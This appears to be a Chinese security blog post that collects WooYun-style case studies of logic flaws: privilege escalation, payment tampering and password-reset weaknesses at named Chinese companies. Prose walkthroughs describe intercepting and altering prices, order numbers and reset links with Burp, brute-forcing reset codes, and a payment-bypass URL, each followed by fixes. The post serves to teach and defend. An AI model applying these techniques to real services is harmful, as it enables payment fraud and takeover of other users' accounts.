再以某APP为例,APP有两种登录模式,用户(指定人员)登录和游客登录。对于游客来说很多功能不能访问,只能看到如下功能

指定用户登录,可以使用所有功能

但是APP只是做了前端限制,以游客权限直接发送用户权限的数据包即可使用相关的功能,比如以游客的登录凭据访问用户才可使用的“**查询”功能。

3、两种越权的区别

水平越权的问题出现在同一个角色上,系统只验证了能访问数据的角色,而没有对角色内的用户做细分,也没有对数据的子集做细分,因为缺乏一个用户到数据之间的对应关系。由于水平权限管理是系统缺乏一个数据级的访问控制所造成的,因此水平权限管理又可称之为“基于数据的访问控制”;垂直权限问题出现在不同角色上,一般来说高权限角色可以访问低权限角色的资源,而低权限角色访问高权限角色的资源则被禁止。如果一个本属于低权限角色的用户通过一些方法能够过得低权限角色的能力,则发生了垂直越权漏洞。

04 交易

这里的情况一般就是订单可被恶意修改,比如修改购买数量和单价以形成超低价的总额,以中国移动出现过的一个漏洞为例,中国移动和健康体检通,可通过修改订单价格实现免费体检,首先选择套餐

然后抓包修改数据

然后即可支付

另外一个套餐

付款成功

可以看到套餐已订购

0x02 防御

01 验证码策略

1、验证码至少是6位数字,且有时间限制、获取次数限制和错误次数限制。

2、验证码的验证要放到服务端执行,不能将验证码返回到前端。

3、若只能放到前端,必须采取加密策略。

4、多步校验,比如找回密码第一步验证了,最后一步提交时也要验证。

02 权限策略

1、登录凭证要时刻验证,不能只在登录接口处进行登录验证,要任何需要登录权限的地方进行登录验证(cookie,ssid,token等)。

2、用户操作要进行对应的权限检查,不能只根据操作参数或链接执行功能。

3、Cookie要进行严格加密,并与用户session绑定。

4、采用“最小权限原则”进行访问控制。

03 密匙签名策略

1、邮箱找回密码的功能,其认证参数要唯一且不可预测,尽量减少不必要的参数。

2、支付功能一定要使用严格的签名算法,避免任何参数的修改。
3. 逻辑漏洞之支付漏洞
支付漏洞
乌云案例之顺丰宝业务逻辑漏洞
案例说明
顺丰宝存在支付逻辑漏洞,可以允许用户1元变1亿元。这个漏洞在其他网站很难存在,原因是页面交互都使用了对字段做签名。但是顺丰宝没做签名,导致支付金额可以被修改为任意数值。猜测成因是开发人员为了快速实现功能,而忽略了其中数据签名的步骤。可以想象,如果我充值1个亿,然后再使用取款功能,会产生神马效果。

利用过程
1 登录顺风宝查看余额

2 充值,选择招商银行。填写充值金额1,如下图:

提交之后如下:

3 开启firefox的tamper,点击支付,截取数据包,修改参数Amount为一分

4 提交跳转到招行支付

5 支付成功后,招行扣去一分

6 查询余额

乌云案例之乐视商城逻辑支付漏洞
案例说明
订单的价格在支付链接中出现,导致用户可以修改任意金额购买产品

利用过程
1 下单后选择支付,如图:

2 注意下面的连接,orderPrice参数为商品总额

3 将价格改成0.1

乌云案例之读览天下支付逻辑漏洞
案例说明
通过替换支付订单号的方式,来完成花小钱买大东西。同时生成两个订单号,一个贵的一个便宜,首先支付便宜的,银行往回返回的时候,替换订单号,然后就可以完成两个订单的同时支付。

漏洞成因
服务端只检查支付是否完成,并没有确认订单金额与银行支付金额是否相同,过分信任客户端提交的数据

修复方案
检查支付完成后价格和买的产品的价格是一样的。

乌云案例之天翼云盘通支付逻辑漏洞
案例说明
天翼云-云盘通设计缺陷,可提交负人民币的订单。

利用过程
1 选择套餐如图:

2 提交订单然后我们抓包,将购买年限改成负数

3 提交数据包后如图:

乌云案例之药房网订单提交逻辑漏洞
案例说明
药房网订单提交存在逻辑漏洞可对企业造成经济损失

利用过程
1 生成订单

2 使用Burp截断数据包,修改运费为一元

3 提交数据包

乌云案例之淘美网绕过支付
案例说明
淘美网重置处存在逻辑漏洞,可绕过支付直接充值成功

经过测试发现支付成功后流程走至如下链接:

http://www.3need.com/index.php?controller=site&action=payok&out_trade_no=充值订单号

只要提供对应的充值订单号 就可以绕过支付直接充值成功。

利用过程
1 新注册个账号进行测试

2 账号余额0

3 我们去充值,这个过程用burpsuite抓包,金额随意写

4 抓到支付订单号然后构造链接:

5 直接访问这个链接

6 接下来美女信息随意看了,不够再充

乌云大神的修复方案
1 和银行交易时,做数据签名,对用户金额和订单签名。

2 敏感参数不要明文放在URL中

3 服务端效验客户端提交的参数

4 在服务端计算金额的时候,一定要判断是否为正数。

5 支付过程中加一个服务器生成的key,用户校验参数有没有被串改。

6 如果一定需要用URL传递相关参数,建议进行后端的签名验证

7 订单金额和充值接口返回的数据进行校验

8 提交订单时后台判断单价是否与数据库中相符,如不符则返回错误。

9 支付时应从服务器拉取数据,而不是直接读客户端的值!!
4. 逻辑漏洞之越权访问
越权访问简介
一般越权访问包含未授权访问、平行越权、垂直越权。

未授权访问:就是在没有任何授权的情况下对需要认证的资源进行访问以及增删改查。

垂直越权:通过低权限向高权限跨越形成垂直越权访问。

平行越权,顾名思义就是同等用户权限之下,不用进入其他用户的账户也可以对别的用户资料或者订单等信息进行增删改查操作的目的。

下面我们来看一些案例(以下多图,流量党慎入)
哈哈哈哈哈哈,以上转载自微信公众号—信安之路。
5. 逻辑漏洞之密码重置
密码找回验证条件可社工
1 只验证帐号是否存在即可修改密码

2 只验证帐号与邮箱地址是否匹配即可修改密码

3 只验证帐号与手机号是否匹配即可修改密码

密码修改页面可预测
案例介绍: 问题出现在忘记密码处,可以通过手机找回和邮箱找回密码两种方式获得指定帐户的新密码设置权限

进入忘记密码,填写想要获取权限帐号的ID

选择邮箱找回

获得url:

系统已将新密码设置url发送给邮箱

此时只需要将前面获取的url修改一下

即可获得设置该用户新密码的权限

验证码可爆破
案例介绍
乐峰网用户认证体系存在逻辑漏洞,可修改任意用户密码

1 找回密码部分:两种方式,mail和phone,但是验证码都是6位数字,(邮箱)是24小时有效。可以暴力

2 使用后的验证码并未销毁,24小时内可以再次使用,这里就很危险了,只要你找回了密码,24小时内,还可以被修改

攻击方式:

1 提交任意用户的修改密码请求,暴力破解验证码(6位数字,24小时内有效),成功率很客观

2 枚举24小时之内修改过密码的用户,如图:

修改密码未校验用户
案例介绍
万网某管理系统密码找回结构控制不严格,导致可修改此管理系统任意账户密码。

自己新买一个域名要做备案,可惜申请时密码忘记了,故找回密码,收到找回邮件链接如下:

按照提示修改自己密码成功。。

职业病原因,顺手将url中邮箱地址替换成[email protected]修改,悲剧,修改成功。。。

如图:

也就是说,只要知道确实存在的账户,即可直接修改该帐号密码。

密码重置验证码接收帐号由客户端决定
案例介绍
任意用户密码重置(遍历可批量操作)

重置用户资金密码,修改成自己邮箱

重置资金密码成功

修改返回包绕过验证码找回密码
案例介绍
P2P金融安全之珠宝贷存在找回密码/关键凭证修改逻辑漏洞

提交修改密码申请,填写手机号,图片验证码以及登录密码如图:

用burp截包,点击提交:

返回包如图:

修改返回包如图:

绕过验证出现修改密码界面:

重置密码新密码出现在返回的数据包中
案例介绍
沃的城市生活IOS逻辑漏洞可重置登录任意号码

1 点击重置密码

2 重置后的新密码返回在数据回包中

密码重置验证码出现在返回数据包中
案例介绍
中粮集团中粮悦生活app(在苹果appstore下载的,安卓未测试)在修改密码时存在逻辑漏洞,可直接通过服务器返回的数据包获取验证码,从而注册任意手机号码和修改任意用户的密码。

1 填写电话号码

2 设置代理,抓包,点击获取验证码,查看数据包

3 填写验证码,成功修改密码

密码重置验证码多人公用
案例说明
天天果园账户逻辑漏洞,自己的验证码修改别人的密码

1 登录网站点击 找回密码 输入自己的帐号,点击下一步。

2 在同一网页标签打开另一网页,找回密码,输入目标帐号,点击下一步。

3 自己的帐号页面点击获取验证码。

4 将自己收到的验证码输入目标帐号验证码处,点击下一步。

5 完成,密码重置。

修复方案
1 减少验证码有效时间

2 使用后即销毁

3 增加验证码复杂程序,整个md5 不困难吧,

4 限制该功能单个ip提交频率

5 对重要参数加入验证码同步信息或时间戳;

6 重置密码后,新密码不应返回在数据包中。

7 接收验证码的帐号由服务端提供,不能信任客户端提交的数据

你可能感兴趣的:(渗透)